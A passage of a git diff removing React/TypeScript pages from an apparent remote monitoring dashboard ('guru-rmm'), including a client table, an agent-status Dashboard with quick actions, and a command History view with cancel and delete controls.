onClick={() => handleEdit(client)}
|
||||
>
|
||||
<Edit2 className="h-4 w-4" />
|
||||
</Button>
|
||||
{deleteConfirm === client.id ? (
|
||||
<div className="flex items-center gap-1">
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
onClick={() => deleteMutation.mutate(client.id)}
|
||||
disabled={deleteMutation.isPending}
|
||||
>
|
||||
Confirm
|
||||
</Button>
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="sm"
|
||||
onClick={() => setDeleteConfirm(null)}
|
||||
>
|
||||
Cancel
|
||||
</Button>
|
||||
</div>
|
||||
) : (
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
title="Delete client"
|
||||
onClick={() => setDeleteConfirm(client.id)}
|
||||
>
|
||||
<Trash2 className="h-4 w-4" />
|
||||
</Button>
|
||||
)}
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
{showModal && (
|
||||
<ClientModal
|
||||
client={editingClient}
|
||||
onClose={handleCloseModal}
|
||||
onSave={handleSave}
|
||||
isLoading={createMutation.isPending || updateMutation.isPending}
|
||||
/>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,469 +0,0 @@
|
||||
import { useNavigate } from "react-router-dom";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { Link } from "react-router-dom";
|
||||
import {
|
||||
Activity,
|
||||
Server,
|
||||
AlertTriangle,
|
||||
Wifi,
|
||||
WifiOff,
|
||||
Terminal,
|
||||
RefreshCw,
|
||||
Shield,
|
||||
Zap,
|
||||
ArrowRight,
|
||||
} from "lucide-react";
|
||||
import { agentsApi, Agent } from "../api/client";
|
||||
|
||||
/**
|
||||
* Formats a date to a relative time string (e.g., "2 minutes ago", "1 hour ago")
|
||||
*/
|
||||
function formatRelativeTime(dateString: string | null): string {
|
||||
if (!dateString) return "Never seen";
|
||||
|
||||
const date = new Date(dateString);
|
||||
const now = new Date();
|
||||
const diffInSeconds = Math.floor((now.getTime() - date.getTime()) / 1000);
|
||||
|
||||
if (diffInSeconds < 60) {
|
||||
return "Just now";
|
||||
} else if (diffInSeconds < 3600) {
|
||||
const minutes = Math.floor(diffInSeconds / 60);
|
||||
return `${minutes}m ago`;
|
||||
} else if (diffInSeconds < 86400) {
|
||||
const hours = Math.floor(diffInSeconds / 3600);
|
||||
return `${hours}h ago`;
|
||||
} else {
|
||||
const days = Math.floor(diffInSeconds / 86400);
|
||||
return `${days}d ago`;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Loading skeleton for stat cards with shimmer animation
|
||||
*/
|
||||
function StatCardSkeleton({ delay }: { delay: number }) {
|
||||
return (
|
||||
<div
|
||||
className="glass-card relative overflow-hidden opacity-0"
|
||||
style={{
|
||||
animation: `fadeInUp 0.4s ease-out ${delay}s forwards`,
|
||||
}}
|
||||
>
|
||||
<div className="flex items-start justify-between">
|
||||
<div className="space-y-3">
|
||||
<div className="skeleton skeleton-text w-24 h-4" />
|
||||
<div className="skeleton skeleton-text w-16 h-10" />
|
||||
<div className="skeleton skeleton-text w-32 h-3" />
|
||||
</div>
|
||||
<div className="skeleton w-12 h-12 rounded-lg" />
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Stat card component with Mission Control styling - navigates to filtered agents page on click
|
||||
*/
|
||||
function StatCard({
|
||||
title,
|
||||
value,
|
||||
icon: Icon,
|
||||
description,
|
||||
accentColor,
|
||||
delay,
|
||||
linkTo,
|
||||
}: {
|
||||
title: string;
|
||||
value: string | number;
|
||||
icon: React.ComponentType<{ className?: string }>;
|
||||
description?: string;
|
||||
accentColor: "cyan" | "green" | "amber" | "rose";
|
||||
delay: number;
|
||||
linkTo: string;
|
||||
}) {
|
||||
const navigate = useNavigate();
|
||||
|
||||
const colorClasses = {
|
||||
cyan: {
|
||||
icon: "text-cyan",
|
||||
glow: "glow-cyan",
|
||||
bg: "bg-[var(--accent-cyan-muted)]",
|
||||
value: "text-cyan",
|
||||
},
|
||||
green: {
|
||||
icon: "text-green",
|
||||
glow: "glow-green",
|
||||
bg: "bg-[var(--accent-green-muted)]",
|
||||
value: "text-green",
|
||||
},
|
||||
amber: {
|
||||
icon: "text-amber",
|
||||
glow: "glow-amber",
|
||||
bg: "bg-[var(--accent-amber-muted)]",
|
||||
value: "text-amber",
|
||||
},
|
||||
rose: {
|
||||
icon: "text-rose",
|
||||
glow: "glow-rose",
|
||||
bg: "bg-[var(--accent-rose-muted)]",
|
||||
value: "text-rose",
|
||||
},
|
||||
};
|
||||
|
||||
const colors = colorClasses[accentColor];
|
||||
|
||||
const handleClick = () => {
|
||||
navigate(linkTo);
|
||||
};
|
||||
|
||||
return (
|
||||
<div
|
||||
className="glass-card relative overflow-hidden opacity-0 border-l-4 group cursor-pointer transition-transform duration-200 hover:scale-[1.02]"
|
||||
style={{
|
||||
animation: `fadeInUp 0.4s ease-out ${delay}s forwards`,
|
||||
borderLeftColor: `var(--accent-${accentColor})`,
|
||||
}}
|
||||
onClick={handleClick}
|
||||
role="button"
|
||||
tabIndex={0}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === "Enter" || e.key === " ") {
|
||||
e.preventDefault();
|
||||
handleClick();
|
||||
}
|
||||
}}
|
||||
>
|
||||
{/* Subtle gradient overlay on hover */}
|
||||
<div
|
||||
className="absolute inset-0 opacity-0 group-hover:opacity-100 transition-opacity duration-300 pointer-events-none"
|
||||
style={{
|
||||
background: `radial-gradient(circle at top right, var(--accent-${accentColor}-muted), transparent 70%)`,
|
||||
}}
|
||||
/>
|
||||
|
||||
<div className="relative">
|
||||
<div className="flex items-start justify-between">
|
||||
<div>
|
||||
<p className="text-muted font-mono text-xs uppercase tracking-widest-custom">
|
||||
{title}
|
||||
</p>
|
||||
<p className={`font-mono text-3xl font-bold ${colors.value} mt-1`}>
|
||||
{value}
|
||||
</p>
|
||||
{description && (
|
||||
<p className="text-muted text-xs mt-0.5">{description}</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Icon - smaller padding */}
|
||||
<div
|
||||
className={`p-2 rounded-lg ${colors.bg} ${colors.glow} transition-all duration-300 group-hover:scale-110`}
|
||||
>
|
||||
<Icon className={`h-5 w-5 ${colors.icon}`} />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Simplified view all - no border */}
|
||||
<div className="mt-3 flex items-center justify-between opacity-60 group-hover:opacity-100 transition-opacity">
|
||||
<span className="text-muted text-xs font-mono">View all</span>
|
||||
<ArrowRight
|
||||
className={`h-3 w-3 ${colors.icon} group-hover:translate-x-1 transition-transform`}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Status indicator dot with pulse animation
|
||||
*/
|
||||
function StatusDot({ status }: { status: string }) {
|
||||
const statusClasses = {
|
||||
online: "status-dot online",
|
||||
offline: "status-dot offline",
|
||||
error: "status-dot error",
|
||||
};
|
||||
|
||||
return (
|
||||
<span
|
||||
className={statusClasses[status as keyof typeof statusClasses] || "status-dot offline"}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Activity list item with hover effects - clickable with Link
|
||||
*/
|
||||
function ActivityItem({ agent }: { agent: Agent }) {
|
||||
return (
|
||||
<Link
|
||||
to={`/agents/${agent.id}`}
|
||||
className="flex items-center justify-between p-2 rounded-lg transition-all duration-200 hover:bg-[rgba(6,182,212,0.08)] group cursor-pointer"
|
||||
>
|
||||
<div className="flex items-center gap-3">
|
||||
<StatusDot status={agent.status} />
|
||||
<div>
|
||||
<p className="font-mono text-sm font-medium text-primary group-hover:text-cyan transition-colors">
|
||||
{agent.hostname}
|
||||
</p>
|
||||
<p className="text-xs text-muted uppercase tracking-wide">
|
||||
{agent.os_type}
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
<div className="flex items-center gap-3">
|
||||
<span className="font-mono text-xs text-muted tabular-nums">
|
||||
{formatRelativeTime(agent.last_seen)}
|
||||
</span>
|
||||
<ArrowRight className="h-4 w-4 text-muted opacity-0 group-hover:opacity-100 group-hover:text-cyan transition-all duration-200 transform group-hover:translate-x-1" />
|
||||
</div>
|
||||
</Link>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Quick action button with glow effect
|
||||
*/
|
||||
function QuickActionButton({
|
||||
icon: Icon,
|
||||
label,
|
||||
description,
|
||||
onClick,
|
||||
}: {
|
||||
icon: React.ComponentType<{ className?: string }>;
|
||||
label: string;
|
||||
description: string;
|
||||
onClick?: () => void;
|
||||
}) {
|
||||
return (
|
||||
<button
|
||||
onClick={onClick}
|
||||
className="flex items-center gap-4 p-4 w-full text-left rounded-lg border border-[var(--border-primary)] bg-[var(--bg-tertiary)] hover:border-[var(--accent-cyan)] hover:bg-[var(--accent-cyan-muted)] transition-all duration-200 group"
|
||||
>
|
||||
<div className="p-2 rounded-lg bg-[var(--bg-secondary)] group-hover:glow-cyan transition-all duration-200">
|
||||
<Icon className="h-5 w-5 text-cyan" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="font-mono text-sm font-medium text-primary">{label}</p>
|
||||
<p className="text-xs text-muted">{description}</p>
|
||||
</div>
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Loading skeleton for activity list
|
||||
*/
|
||||
function ActivityListSkeleton() {
|
||||
return (
|
||||
<div className="space-y-3">
|
||||
{[0, 1, 2, 3, 4].map((i) => (
|
||||
<div key={i} className="flex items-center gap-4 p-3">
|
||||
<div className="skeleton w-2 h-2 rounded-full" />
|
||||
<div className="flex-1 space-y-2">
|
||||
<div className="skeleton skeleton-text w-32 h-4" />
|
||||
<div className="skeleton skeleton-text w-20 h-3" />
|
||||
</div>
|
||||
<div className="skeleton skeleton-text w-16 h-3" />
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Main Dashboard component with Mission Control aesthetic
|
||||
*
|
||||
* Stat cards navigate to the Agents page with status filters.
|
||||
* This approach scales better for large agent counts (1000+) since
|
||||
* the Agents page handles pagination, search, and sorting.
|
||||
*/
|
||||
export function Dashboard() {
|
||||
const { data: agents = [], isLoading } = useQuery({
|
||||
queryKey: ["agents"],
|
||||
queryFn: () => agentsApi.list().then((res) => res.data),
|
||||
refetchInterval: 30000,
|
||||
});
|
||||
|
||||
const onlineAgents = agents.filter((a: Agent) => a.status === "online");
|
||||
const offlineAgents = agents.filter((a: Agent) => a.status === "offline");
|
||||
const errorAgents = agents.filter((a: Agent) => a.status === "error");
|
||||
|
||||
// Determine system status
|
||||
const hasErrors = errorAgents.length > 0;
|
||||
const allOffline = agents.length > 0 && onlineAgents.length === 0;
|
||||
const systemStatus = hasErrors
|
||||
? "ATTENTION REQUIRED"
|
||||
: allOffline
|
||||
? "ALL SYSTEMS OFFLINE"
|
||||
: "SYSTEMS OPERATIONAL";
|
||||
const statusClass = hasErrors
|
||||
? "status-error"
|
||||
: allOffline
|
||||
? "status-warning"
|
||||
: "status-online";
|
||||
|
||||
return (
|
||||
<div className="space-y-5">
|
||||
{/* Page Header */}
|
||||
<header className="space-y-1 animate-fade-in">
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<h1 className="text-gradient font-mono text-3xl font-bold tracking-tight">
|
||||
DASHBOARD
|
||||
</h1>
|
||||
<p className="text-muted text-sm uppercase tracking-widest-custom mt-1">
|
||||
Mission Control Overview
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* System Status Indicator */}
|
||||
<div className={`status-indicator ${statusClass}`}>
|
||||
<span className="status-dot" />
|
||||
<span className="font-mono text-xs uppercase tracking-wide">
|
||||
{systemStatus}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
{/* Stat Cards Grid */}
|
||||
<section className="grid gap-3 md:grid-cols-2 lg:grid-cols-4">
|
||||
{isLoading ? (
|
||||
<>
|
||||
<StatCardSkeleton delay={0.1} />
|
||||
<StatCardSkeleton delay={0.2} />
|
||||
<StatCardSkeleton delay={0.3} />
|
||||
<StatCardSkeleton delay={0.4} />
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<StatCard
|
||||
title="Total Agents"
|
||||
value={agents.length}
|
||||
icon={Server}
|
||||
description="Registered endpoints"
|
||||
accentColor="cyan"
|
||||
delay={0.1}
|
||||
linkTo="/agents"
|
||||
/>
|
||||
<StatCard
|
||||
title="Online"
|
||||
value={onlineAgents.length}
|
||||
icon={Wifi}
|
||||
description="Currently connected"
|
||||
accentColor="green"
|
||||
delay={0.2}
|
||||
linkTo="/agents?status=online"
|
||||
/>
|
||||
<StatCard
|
||||
title="Offline"
|
||||
value={offlineAgents.length}
|
||||
icon={WifiOff}
|
||||
description="Not responding"
|
||||
accentColor="amber"
|
||||
delay={0.3}
|
||||
linkTo="/agents?status=offline"
|
||||
/>
|
||||
<StatCard
|
||||
title="Errors"
|
||||
value={errorAgents.length}
|
||||
icon={AlertTriangle}
|
||||
description="Requires attention"
|
||||
accentColor="rose"
|
||||
delay={0.4}
|
||||
linkTo="/agents?status=error"
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
</section>
|
||||
|
||||
{/* Bottom Grid: Activity + Quick Actions */}
|
||||
<section className="grid gap-4 md:grid-cols-2">
|
||||
{/* Recent Activity Card */}
|
||||
<div
|
||||
className="glass-card opacity-0"
|
||||
style={{
|
||||
animation: "fadeInUp 0.4s ease-out 0.5s forwards",
|
||||
}}
|
||||
>
|
||||
<div className="flex items-center justify-between mb-3 pb-3 border-b border-[var(--border-secondary)]">
|
||||
<h2 className="card-title flex items-center gap-2">
|
||||
<Activity className="h-4 w-4 text-cyan" />
|
||||
Recent Activity
|
||||
</h2>
|
||||
{!isLoading && agents.length > 0 && (
|
||||
<span className="font-mono text-xs text-muted">
|
||||
{agents.length} agent{agents.length !== 1 ? "s" : ""}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{isLoading ? (
|
||||
<ActivityListSkeleton />
|
||||
) : agents.length === 0 ? (
|
||||
<div className="text-center py-8">
|
||||
<Server className="h-12 w-12 text-muted mx-auto mb-4 opacity-50" />
|
||||
<p className="text-secondary font-medium mb-2">
|
||||
No agents registered
|
||||
</p>
|
||||
<p className="text-muted text-sm">
|
||||
Deploy an agent to start monitoring endpoints.
|
||||
</p>
|
||||
</div>
|
||||
) : (
|
||||
<div className="space-y-0.5 -mx-2">
|
||||
{agents.slice(0, 5).map((agent: Agent) => (
|
||||
<ActivityItem key={agent.id} agent={agent} />
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Quick Actions Card */}
|
||||
<div
|
||||
className="glass-card opacity-0"
|
||||
style={{
|
||||
animation: "fadeInUp 0.4s ease-out 0.6s forwards",
|
||||
}}
|
||||
>
|
||||
<div className="flex items-center gap-2 mb-3 pb-3 border-b border-[var(--border-secondary)]">
|
||||
<Zap className="h-4 w-4 text-cyan" />
|
||||
<h2 className="card-title">Quick Actions</h2>
|
||||
</div>
|
||||
|
||||
<div className="space-y-2">
|
||||
<QuickActionButton
|
||||
icon={Terminal}
|
||||
label="Deploy Agent"
|
||||
description="Install agent on a new endpoint"
|
||||
/>
|
||||
<QuickActionButton
|
||||
icon={RefreshCw}
|
||||
label="Refresh All"
|
||||
description="Force update all agent statuses"
|
||||
/>
|
||||
<QuickActionButton
|
||||
icon={Shield}
|
||||
label="Security Scan"
|
||||
description="Run security audit on all endpoints"
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Terminal-style hint */}
|
||||
<div className="mt-4 p-2 rounded-lg bg-[var(--bg-primary)] border border-[var(--border-secondary)]">
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="font-mono text-xs text-cyan">$</span>
|
||||
<span className="font-mono text-xs text-muted">
|
||||
guru-rmm --help
|
||||
</span>
|
||||
<span className="inline-block w-2 h-4 bg-cyan animate-pulse ml-1" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,445 +0,0 @@
|
||||
import { useQuery, useMutation, useQueryClient } from "@tanstack/react-query";
|
||||
import { Link, useParams, useNavigate } from "react-router-dom";
|
||||
import {
|
||||
RefreshCw,
|
||||
CheckCircle,
|
||||
XCircle,
|
||||
Clock,
|
||||
Loader2,
|
||||
ArrowLeft,
|
||||
Terminal,
|
||||
Trash2,
|
||||
Ban,
|
||||
StopCircle,
|
||||
} from "lucide-react";
|
||||
import { commandsApi, Command } from "../api/client";
|
||||
import { Card, CardContent } from "../components/Card";
|
||||
import { Button } from "../components/Button";
|
||||
|
||||
function StatusBadge({ status }: { status: Command["status"] }) {
|
||||
const config = {
|
||||
pending: {
|
||||
icon: Clock,
|
||||
label: "Pending",
|
||||
className: "bg-amber-500/10 text-amber-400 border-amber-500/30",
|
||||
},
|
||||
running: {
|
||||
icon: Loader2,
|
||||
label: "Running",
|
||||
className: "bg-cyan-500/10 text-cyan-400 border-cyan-500/30",
|
||||
spin: true,
|
||||
},
|
||||
completed: {
|
||||
icon: CheckCircle,
|
||||
label: "Completed",
|
||||
className: "bg-emerald-500/10 text-emerald-400 border-emerald-500/30",
|
||||
},
|
||||
failed: {
|
||||
icon: XCircle,
|
||||
label: "Failed",
|
||||
className: "bg-rose-500/10 text-rose-400 border-rose-500/30",
|
||||
},
|
||||
cancelled: {
|
||||
icon: Ban,
|
||||
label: "Cancelled",
|
||||
className: "bg-amber-500/10 text-amber-500 border-amber-500/30",
|
||||
},
|
||||
};
|
||||
|
||||
const { icon: Icon, label, className, spin } = config[status] as {
|
||||
icon: typeof Clock;
|
||||
label: string;
|
||||
className: string;
|
||||
spin?: boolean;
|
||||
};
|
||||
|
||||
return (
|
||||
<span className={`inline-flex items-center gap-1.5 px-2 py-0.5 rounded-full text-xs font-mono font-medium border ${className}`}>
|
||||
<Icon className={`h-3 w-3 ${spin ? "animate-spin" : ""}`} />
|
||||
{label}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
function formatDate(dateString: string): string {
|
||||
const date = new Date(dateString);
|
||||
return date.toLocaleString();
|
||||
}
|
||||
|
||||
function formatRelativeTime(dateString: string): string {
|
||||
const date = new Date(dateString);
|
||||
const now = new Date();
|
||||
const diffInSeconds = Math.floor((now.getTime() - date.getTime()) / 1000);
|
||||
|
||||
if (diffInSeconds < 60) return "Just now";
|
||||
if (diffInSeconds < 3600) return `${Math.floor(diffInSeconds / 60)}m ago`;
|
||||
if (diffInSeconds < 86400) return `${Math.floor(diffInSeconds / 3600)}h ago`;
|
||||
return `${Math.floor(diffInSeconds / 86400)}d ago`;
|
||||
}
|
||||
|
||||
export function History() {
|
||||
const queryClient = useQueryClient();
|
||||
|
||||
const { data: commands = [], isLoading, refetch } = useQuery({
|
||||
queryKey: ["commands"],
|
||||
queryFn: () => commandsApi.list().then((res) => res.data),
|
||||
refetchInterval: 10000,
|
||||
});
|
||||
|
||||
const cancelMutation = useMutation({
|
||||
mutationFn: (id: string) => commandsApi.cancelCommand(id),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["commands"] });
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
alert(`Failed to cancel command: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const deleteMutation = useMutation({
|
||||
mutationFn: (id: string) => commandsApi.deleteCommand(id),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["commands"] });
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
alert(`Failed to delete command: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const clearHistoryMutation = useMutation({
|
||||
mutationFn: () => commandsApi.clearCommandHistory(),
|
||||
onSuccess: (res) => {
|
||||
queryClient.invalidateQueries({ queryKey: ["commands"] });
|
||||
const data = res.data;
|
||||
if (data.deleted === 0) {
|
||||
alert("No finished commands to clear.");
|
||||
}
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
alert(`Failed to clear history: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const handleClearHistory = () => {
|
||||
const finishedCount = commands.filter(
|
||||
(cmd) => cmd.status === "completed" || cmd.status === "failed" || cmd.status === "cancelled"
|
||||
).length;
|
||||
|
||||
if (finishedCount === 0) {
|
||||
alert("No finished commands to clear.");
|
||||
return;
|
||||
}
|
||||
|
||||
if (window.confirm(`Clear ${finishedCount} finished command(s) from history?`)) {
|
||||
clearHistoryMutation.mutate();
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
{/* Header */}
|
||||
<div className="flex items-center justify-between">
|
||||
<div>
|
||||
<h1 className="text-2xl font-mono font-bold text-[var(--text-primary)]">History</h1>
|
||||
<p className="text-[var(--text-muted)] text-sm">Command execution log</p>
|
||||
</div>
|
||||
<div className="flex items-center gap-2">
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
onClick={handleClearHistory}
|
||||
disabled={clearHistoryMutation.isPending}
|
||||
>
|
||||
{clearHistoryMutation.isPending ? (
|
||||
<Loader2 className="h-4 w-4 mr-2 animate-spin" />
|
||||
) : (
|
||||
<Trash2 className="h-4 w-4 mr-2" />
|
||||
)}
|
||||
Clear History
|
||||
</Button>
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => refetch()}
|
||||
className="border-[var(--border-accent)] text-[var(--accent-cyan)] hover:bg-[var(--accent-cyan-muted)]"
|
||||
>
|
||||
<RefreshCw className="h-4 w-4 mr-2" />
|
||||
Refresh
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* History List */}
|
||||
<Card className="glass-card bg-[var(--glass-bg)] border border-[var(--glass-border)] rounded-xl overflow-hidden">
|
||||
<CardContent className="p-0">
|
||||
{isLoading ? (
|
||||
<div className="p-8 text-center">
|
||||
<Loader2 className="h-6 w-6 animate-spin text-[var(--accent-cyan)] mx-auto mb-2" />
|
||||
<p className="text-[var(--text-muted)] font-mono text-sm">Loading history...</p>
|
||||
</div>
|
||||
) : commands.length === 0 ? (
|
||||
<div className="p-8 text-center">
|
||||
<Terminal className="h-8 w-8 text-[var(--text-muted)] mx-auto mb-2 opacity-50" />
|
||||
<p className="text-[var(--text-muted)] font-mono text-sm">No commands executed yet</p>
|
||||
</div>
|
||||
) : (
|
||||
<div className="divide-y divide-[var(--border-secondary)]">
|
||||
{commands.map((cmd: Command) => (
|
||||
<div
|
||||
key={cmd.id}
|
||||
className="flex items-center justify-between p-3 hover:bg-[rgba(6,182,212,0.05)] transition-colors group"
|
||||
>
|
||||
<Link
|
||||
to={`/history/${cmd.id}`}
|
||||
className="flex items-center gap-3 min-w-0 flex-1"
|
||||
>
|
||||
<StatusBadge status={cmd.status} />
|
||||
<div className="min-w-0 flex-1">
|
||||
<p className="font-mono text-sm text-[var(--text-primary)] truncate group-hover:text-[var(--accent-cyan)] transition-colors">
|
||||
{cmd.command_text}
|
||||
</p>
|
||||
<p className="text-xs text-[var(--text-muted)] mt-0.5">
|
||||
{cmd.command_type} | Agent: {cmd.agent_id.slice(0, 8)}...
|
||||
</p>
|
||||
</div>
|
||||
</Link>
|
||||
<div className="flex items-center gap-2 pl-4 shrink-0">
|
||||
<div className="text-right">
|
||||
<p className="font-mono text-xs text-[var(--text-muted)]">
|
||||
{formatRelativeTime(cmd.created_at)}
|
||||
</p>
|
||||
{cmd.exit_code !== null && (
|
||||
<p className={`text-xs font-mono ${cmd.exit_code === 0 ? "text-emerald-500" : "text-rose-500"}`}>
|
||||
exit: {cmd.exit_code}
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
{/* Action buttons */}
|
||||
<div className="flex items-center gap-1 opacity-0 group-hover:opacity-100 transition-opacity">
|
||||
{(cmd.status === "pending" || cmd.status === "running") && (
|
||||
<button
|
||||
onClick={(e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
cancelMutation.mutate(cmd.id);
|
||||
}}
|
||||
disabled={cancelMutation.isPending}
|
||||
className="p-1.5 rounded-md text-amber-400 hover:bg-amber-500/10 hover:text-amber-300 transition-colors"
|
||||
title="Cancel command"
|
||||
>
|
||||
<StopCircle className="h-4 w-4" />
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
onClick={(e) => {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
deleteMutation.mutate(cmd.id);
|
||||
}}
|
||||
disabled={deleteMutation.isPending}
|
||||
className="p-1.5 rounded-md text-rose-400 hover:bg-rose-500/10 hover:text-rose-300 transition-colors"
|
||||
title="Delete command"
|
||||
>
|
||||
<Trash2 className="h-3.5 w-3.5" />
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export function HistoryDetail() {
|
||||
const { id } = useParams<{ id: string }>();
|
||||
const navigate = useNavigate();
|
||||
const queryClient = useQueryClient();
|
||||
|
||||
const { data: commands = [], isLoading } = useQuery({
|
||||
queryKey: ["commands"],
|
||||
queryFn: () => commandsApi.list().then((res) => res.data),
|
||||
});
|
||||
|
||||
const command = commands.find((cmd: Command) => cmd.id === id);
|
||||
|
||||
const cancelMutation = useMutation({
|
||||
mutationFn: (cmdId: string) => commandsApi.cancelCommand(cmdId),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["commands"] });
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
alert(`Failed to cancel command: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
const deleteMutation = useMutation({
|
||||
mutationFn: (cmdId: string) => commandsApi.deleteCommand(cmdId),
|
||||
onSuccess: () => {
|
||||
queryClient.invalidateQueries({ queryKey: ["commands"] });
|
||||
navigate("/history");
|
||||
},
|
||||
onError: (error: Error) => {
|
||||
alert(`Failed to delete command: ${error.message}`);
|
||||
},
|
||||
});
|
||||
|
||||
if (isLoading) {
|
||||
return (
|
||||
<div className="flex items-center justify-center min-h-[50vh]">
|
||||
<Loader2 className="h-8 w-8 animate-spin text-[var(--accent-cyan)]" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (!command) {
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
<Button
|
||||
variant="ghost"
|
||||
onClick={() => navigate("/history")}
|
||||
className="text-[var(--text-muted)] hover:text-[var(--accent-cyan)]"
|
||||
>
|
||||
<ArrowLeft className="h-4 w-4 mr-2" />
|
||||
Back to History
|
||||
</Button>
|
||||
<Card className="glass-card">
|
||||
<CardContent className="p-8 text-center">
|
||||
<p className="text-[var(--text-muted)]">Command not found</p>
|
||||
</CardContent>
|
||||
</Card>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="space-y-4">
|
||||
{/* Header */}
|
||||
<div className="flex items-center gap-4">
|
||||
<Button
|
||||
variant="ghost"
|
||||
size="icon"
|
||||
onClick={() => navigate("/history")}
|
||||
className="text-[var(--text-muted)] hover:text-[var(--accent-cyan)] hover:bg-[var(--accent-cyan-muted)]"
|
||||
>
|
||||
<ArrowLeft className="h-5 w-5" />
|
||||
</Button>
|
||||
<div className="flex-1">
|
||||
<div className="flex items-center gap-3">
|
||||
<h1 className="text-xl font-mono font-bold text-[var(--text-primary)]">Command Detail</h1>
|
||||
<StatusBadge status={command.status} />
|
||||
</div>
|
||||
<p className="text-[var(--text-muted)] text-sm mt-0.5">
|
||||
{formatDate(command.created_at)}
|
||||
</p>
|
||||
</div>
|
||||
<div className="flex items-center gap-2">
|
||||
{(command.status === "pending" || command.status === "running") && (
|
||||
<Button
|
||||
variant="outline"
|
||||
size="sm"
|
||||
onClick={() => cancelMutation.mutate(command.id)}
|
||||
disabled={cancelMutation.isPending}
|
||||
className="border-amber-500/30 text-amber-400 hover:bg-amber-500/10"
|
||||
>
|
||||
<StopCircle className="h-4 w-4 mr-2" />
|
||||
Cancel
|
||||
</Button>
|
||||
)}
|
||||
<Button
|
||||
variant="destructive"
|
||||
size="sm"
|
||||
onClick={() => {
|
||||
if (window.confirm("Delete this command?")) {
|
||||
deleteMutation.mutate(command.id);
|
||||
}
|
||||
}}
|
||||
disabled={deleteMutation.isPending}
|
||||
>
|
||||
<Trash2 className="h-4 w-4 mr-2" />
|
||||
Delete
|
||||
</Button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Command Info */}
|
||||
<Card className="glass-card bg-[var(--glass-bg)] border border-[var(--glass-border)] rounded-xl">
|
||||
<CardContent className="p-4 space-y-4">
|
||||
{/* Command */}
|
||||
<div>
|
||||
<label className="text-xs font-mono font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
||||
Command
|
||||
</label>
|
||||
<div className="mt-1 p-3 rounded-lg bg-[var(--bg-primary)] border border-[var(--border-secondary)] font-mono text-sm text-[var(--accent-cyan)]">
|
||||
{command.command_text}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Meta info */}
|
||||
<div className="grid grid-cols-2 md:grid-cols-4 gap-4">
|
||||
<div>
|
||||
<label className="text-xs font-mono font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
||||
Type
|
||||
</label>
|
||||
<p className="mt-1 font-mono text-sm text-[var(--text-secondary)]">{command.command_type}</p>
|
||||
</div>
|
||||
<div>
|
||||
<label className="text-xs font-mono font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
